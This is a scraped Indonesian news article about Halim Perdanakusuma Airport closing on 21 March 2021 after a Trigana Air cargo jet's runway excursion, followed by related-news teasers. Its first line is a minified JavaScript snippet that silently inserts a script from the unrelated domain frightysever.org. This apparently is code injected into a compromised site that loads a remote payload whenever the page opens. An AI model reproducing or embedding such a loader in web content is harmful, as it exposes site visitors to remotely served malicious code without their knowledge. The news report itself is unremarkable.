(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – PT Angkasa Pura II (Persero) menginformasikan bahwa Bandara Halim Perdanakusuma masih ditutup untuk penerbangan sipil pada Minggu, 21 Maret 2021.
Menyusul hal tersebut, penerbangan pada 21 Maret 2021 (keberangkatan dan kedatangan) di Bandara Halim Perdanakusuma akan dialihkan (divert) ke Bandara Soekarno-Hatta.
“Kami mengimbau kepada calon penumpang pesawat yang memiliki tiket keberangkatan atau kedatangan di Bandara Halim Perdanakusuma pada Minggu 21 Maret 2021 agar dapat berkoordinasi dengan maskapai mengenai perubahan jadwal atau rute penerbangan seiring dengan dialihkannya penerbangan dari Halim Perdanakusuma ke Soekarno-Hatta,” ujar VP of Corporate Communication PT Angkasa Pura II Yado Yarismano.
Sebelumnya, Pesawat kargo Trigana Air Boeing 737-500 nomor registrasi PK-YSF mengalami kejadian keluar landasan (excursion) pada 20 Maret 2021, di Bandara Halim Perdanakusuma. Tidak ada korban jiwa di dalam kejadian ini.
Baca Juga:
PKL Subuh Gelar Lapak di Lahan Pribadi, Pemilik Protes ke Petugas Gabungan Penutupan Pasar
Executive General Manager Bandara Halim Perdanakusuma Marsma Pnb TNI Nandang Sukarna mengatakan, penyebab tergelincirnya pesawat Trigana Air di landasan pacu Bandara Halim Perdanakusuma, Jakarta Timur, karena gagal landing. Pasalnya, ada salah satu mesin pesawat yang mati.
Atas hal itulah pesawat yang hendak terbang menuju Makassar, Sulawesi Selatan itu terpaksa kembali ke landasan pacu. Namun, kemudian pesawat diarahkan ke bagian rumput supaya tidak mengakibatkan dampak terlalu parah.
“Jadi engine satu mati, engine nomor 2 mati kemudian landing, gagal. Sudah, akhirnya dimasukan ke run away street di rumput. Jadi kondisinya tidak di landasan pacu. Pas landing di landasan pacu tapi kemudian diharapkan ke arah rumput supaya tidak terjadi sesuatu,” kata Nandang saat dikonfirmasi.
Kata Nandang, sempat terjadi percikan api di bagian pesawat saat berupaya landing di landasan pacu. Hanya saja kondisi pesawat masih utuh dan tidak terbakar.
“Kalau Percikan api ada karena gesekan dengan itu, enggak kebakar pesawatnya enggak, pesawatnya utuh. Kebakaran di bagian roda karena gesekan metal dengan aspal,” jelas dia. (suara.com)
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
KANALKALIMANTAN.COM, BALI – Didukung oleh BRImo, OPPO Indonesia resmi menggelar OPPO RUN 2024 yang berlangsung… Read More
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
This website uses cookies.